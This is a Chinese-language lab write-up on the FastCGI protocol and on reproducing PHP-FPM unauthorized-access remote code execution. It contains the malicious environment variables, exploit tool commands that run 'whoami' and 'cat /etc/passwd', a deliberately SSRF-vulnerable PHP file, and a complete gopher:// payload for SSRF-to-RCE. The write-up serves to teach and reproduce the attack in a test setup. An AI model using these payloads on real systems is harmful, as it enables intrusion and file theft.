目录
1、CGI(Common Gateway Interface) 通用网关接口
1、CGI(Common Gateway Interface) 通用网关接口
最早的服务器只能够返回静态资源给浏览器。但这种方式满足不了人们的所有需求,于是出现了动态网站技术,但是Web服务器不能够直接解释执行动态脚本,于是人们为了能够让Web服务器与外部应用程序(CGI程序)互相通信。CGI通用网关接口应运而生。简单地说CGI就像是一种协议,这种协议规定了Web服务器和运行在Web服务器上的应用程序进行交流的方式。
当Web服务器需要解析动态脚本时,Web服务器会Fork一个新的进程来启动CGI成语完成动态脚本的解析执行,然后获取CGI程序的执行结果,获取到结果之后,把之前用来运行CGI程序的进行关闭。大家可以看出来,这种方式的效率非常低下。
2、FastCGI
解决了Web服务器与外部应用程序通信的问题,我们还需要高效率的执行动态脚本,于是Fast-CGI应运而生。FastCGI是CGI的改良版本,致力于减少Web服务器与CGI程序之间交互的开销,它每次处理完请求之后不会释放资源,而是保留资源以便下次继续使用。这样就不会有重复创建删除资源的消耗了。
3、浏览器访问网站的过程
3.1、浏览器访问静态资源
浏览器在访问静态网页时,会给Web服务器发送请求,然后Web服务器将其访问的静态资源返回给浏览器就完成了这个访问过程。
3.2、浏览器访问动态网页
当浏览器发送一个要访问动态网页的请求时,Web服务器根据浏览器的请求得知这不是一个静态页面,Web服务器就会去找php解析器来进行处理,他会简单的处理一下请求,然后将请求交给php解释器。当Web服务器收到浏览器请求index.php的请求时,他会启动对应的CGI程序,也就是php解析器,php解析器会解析php.ini文件,初始化执行环境,处理请求,然后再以CGI规定的格式返回处理后的结果,Web服务器把结果返回给浏览器。这就是一个完整的访问过程了。
4、Fastcgi 协议分析
4.1、Fastcgi Record
Fastcgi 其实是一个通信协议,和HTTP协议一样,都是进行数据交换的标准。
HTTP协议时浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某种规范组装成数据包,然后发送给服务器中间件,服务器中间件收到之后解包处理然后再按照HTTP协议的规范返回给浏览器。
与HTTP协议相似,Fastcgi协议是服务器中间件与某种语言的解释器之间通信的协议。Fastcgi协议由多个Record组成,Record也有Header和Body,服务器中间件按照Fastcgi的规则封装好数据然后发送给解释器,解释器处理完成后将结果返回给中间件。
Fastcgi Record的头固定8个字节,Body是由头中的contentLength指定的。其结构如下:
typedef struct {
/* Header 消息头信息 */
unsigned char version; // 用于表示 FastCGI 协议版本号
unsigned char type; // 用于标识 FastCGI 消息的类型, 即用于指定处理这个消息的方法
unsigned char requestIdB1; // 用ID值标识出当前所属的 FastCGI 请求
unsigned char requestIdB0;
unsigned char contentLengthB1; // 数据包包体Body所占字节数
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body 消息主体 */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
头是八个uchar类型的变量组成。其中requestId占两个字节,避免多个请求之间的影响。contentLength占两个字节,表示Body的大小。
4.2 Fastcgi Type
Fastcgi Record头的第二个字节是type,type指定该Record的作用。因为Fastcgi中一个Record的大小是有限的,作用也是单一的,所以需要在一个TCP流里传输多个Record,通过type来标志每个Record的作用,并用requestId来标识同一个请求。即每个请求有多个Record他们的requestId是相同的。
下面是type值对应的含义。
type值 | 含义 |
1 | 请求开始的第一个消息。 |
2 | 异常断开通信。 |
3 | 请求的最后一个消息。 |
4 | 传递环境变量时,表名消息中包含数据为某个键值对。 |
5 | Web服务器将从浏览器接收到的POST请求数据以消息的形式发送给php-FPM |
6 | 正常响应消息。 |
7 | 错误响应。 |
5、PHP-FPM
php-fpm 是FastCGI进程管理器,用于替换PHP FastCGI的大部分附加功能,对于高负载的网站是非常有用的。PHP-FPM默认监听的端口是9000端口。
即php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能。这其中的进程包含了master和worker进程,其中master进程负责与服务器中间件进行通信,将中间件发过来的请求转发给worker进程进行处理。worker进程主要负责后端动态执行PHP代码,处理完成后,将处理结果返回给Web服务器,再由Web服务器将结果发送给客户端。
当用户访问http://127.0.0.1/index.php?id=1&cmd=id时,index.php再服务器上的位置时/var/www/html/index.php,那中间件会将这个请求变成如下key-value的形式:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
可以看出这个数据就是php中 $_SERVER 数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充 $_SERVER 数组,还告诉fpm要执行的文件。
fpm拿到数据包进行解析,得到上述环境变量,然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。但如果我们能够控制SCRIPT_FILENAME的值,不就可以让PHP_FPM执行服务器上任意的PHP文件了吗?
6、PHP-FPM任意代码执行
在php的配置项中,有两个包含文件的配置项:
- auto_prepend_file:执行目标文件之前,先包含auto_prepend_file中指定的文件。
- auto_append_file:执行玩目标文件后再包含auto_append_file指向的文件。
假设我们设置auto_prepend_file的值为php://input,那么等于在执行任何php文件前都要包含POST的内容。所以,只需要把需要执行的代码放在Body中,就能被执行了。(需要开启远程文件包含选项 allow_url_include)
那还有一个问题,就是我们需要设置auto_prepend_file的值,这里又涉及到PHP-FPM的两个环境变量,PHP_VALUE 和 PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL,PHP_ADMIN_VALUE可以设置所有选项。
所以,我们最后传入的就是如下的环境变量:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
7、PHP-FPM未授权访问漏洞
攻击者可以通过PHP_VALUE和PHP_ADMIN_VALUE 这两个环境变量设置PHP 配置PHP 配置选项 auto_prepend_file 和 allow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码,造成任意代码执行。除此之外,由于 PHP-FPM 和 Web 服务器中间件是通过网络进行沟通的,因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成Web服务器中间件来让 PHP-FPM 执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。
下面搭建环境然后对PHP-FPM未授权访问漏洞进行复现。
7.1 环境搭建
我这边使用docker安装一个nginx与php所需环境。
Dockerfile如下,
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y software-properties-common
RUN LC_ALL=C.UTF-8 add-apt-repository -y ppa:ondrej/php
RUN apt-get update && apt-get -y install php7.4
RUN apt-get update && apt-get -y install php7.4-fpm php7.4-mysql php7.4-curl php7.4-json php7.4-mbstring php7.4-xml php7.4-intl
安装完成之后打开/etc/php/7.4/fpm/pool.d/www.conf文件找到如下位置并修改为如图所示的样子。
;listen = /run/php/php7.4-fpm.sock
listen = 0.0.0.0:9000
这样即可设置PHP-FPM的监听地址为0.0.0.0:9000,便会产生PHP-FPM未授权访问漏洞,此时攻击者可以直接与暴露在目标主机9000端口上的PHP-FPM进行通信,然后就可以实现任意代码执行了。
打开nginx配置文件 /etc/nginx/sites-available/default 做如下修改。
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
# index index.html index.htm index.nginx-debian.html;
server_name www.example.com;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
index index.php;
autoindex on;
# try_files $uri $uri/ =404;
}
location ~ \.php$ {
# include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
# # With php-cgi (or other tcp sockets):
# fastcgi_pass 127.0.0.1:9000;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 0.0.0.0:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
7.2 启动环境
先打开php-fpm,先使用whereis
启动后,启动nginx服务。
接下来查看一下启动的进程状态。
我们可以看到php-fpm有一个master进程,两个worker进程。
然后我们在/var/www/html/目录下添加index.php 内容就写,<?php phpinfo(); ?>,验证是否可用。
之后打开在浏览器输入IP应该出现如上图所示的界面。
7.3 利用github上的项目进行攻击
项目下载好之后,进入到webcgi-exploits/php/Fastcgi目录,新建一个fcgiclient目录,把fcgiclient.go 放入新建的 fcgiclient 目录中:
然后用下面的命令编译fcgi_exp.go文件,
go build fcgi_exp.go
然后开始攻击,发送下面的命令。
./fcgi_exp system 172.23.72.223 9000 /var/www/html/index.php "whoami"
可以看到我们获取到了一个权限不太高的用户权限。可以执行任意的命令。
其中各参数的含义如下
- system 这个参数为我们想要php执行的函数。
- 172.123.72.223 目标ip
- 9000 目标机器fpm端口
- /var/www/html/index.php 目标机上的php文件
- whoami 要执行的命令。
7.4 使用另外一个工具来尝试攻击
fpm.py工具
我们使用下面的命令来利用工具,这个工具兼容python2和python3.
python fpm.py 172.23.72.223 /var/www/html/index.php -c "<?php system('cat /etc/passwd'); exit(); ?>"
利用成功。
8 ssrf中队FPM/FastCGI的攻击
很多时候PHP-FPM不会绑定在0.0.0.0上面,而是绑定在127.0.0.1,这样便避免了将PHP-FPM暴露在公网上被攻击者访问,但是如果目标主机上存在SSRF漏洞的话,我们便可以通过SSRF攻击内网PHP-FPM。
在目标的web目录下新建ssrf.php文件,写入下面存在ssrf漏洞的代码。
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);
echo $responseText;
curl_close($curl);
?>
8.1 使用Gopherus进行攻击
该工具可以生成Gopher有效负载,用来利用SSRF进行RCE:
这是一个python2的工具,因此要使用python2来运行。这里同样的要输入 我们已知目标机器上的一个php文件,还有要执行的命令。
我们获取到如图所示的payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
将上面的payload使用url编码再编码一次即可执行命令(这里需要二次编码是因为GET获取参数会进行一次解码,curl也会进行一次解码)。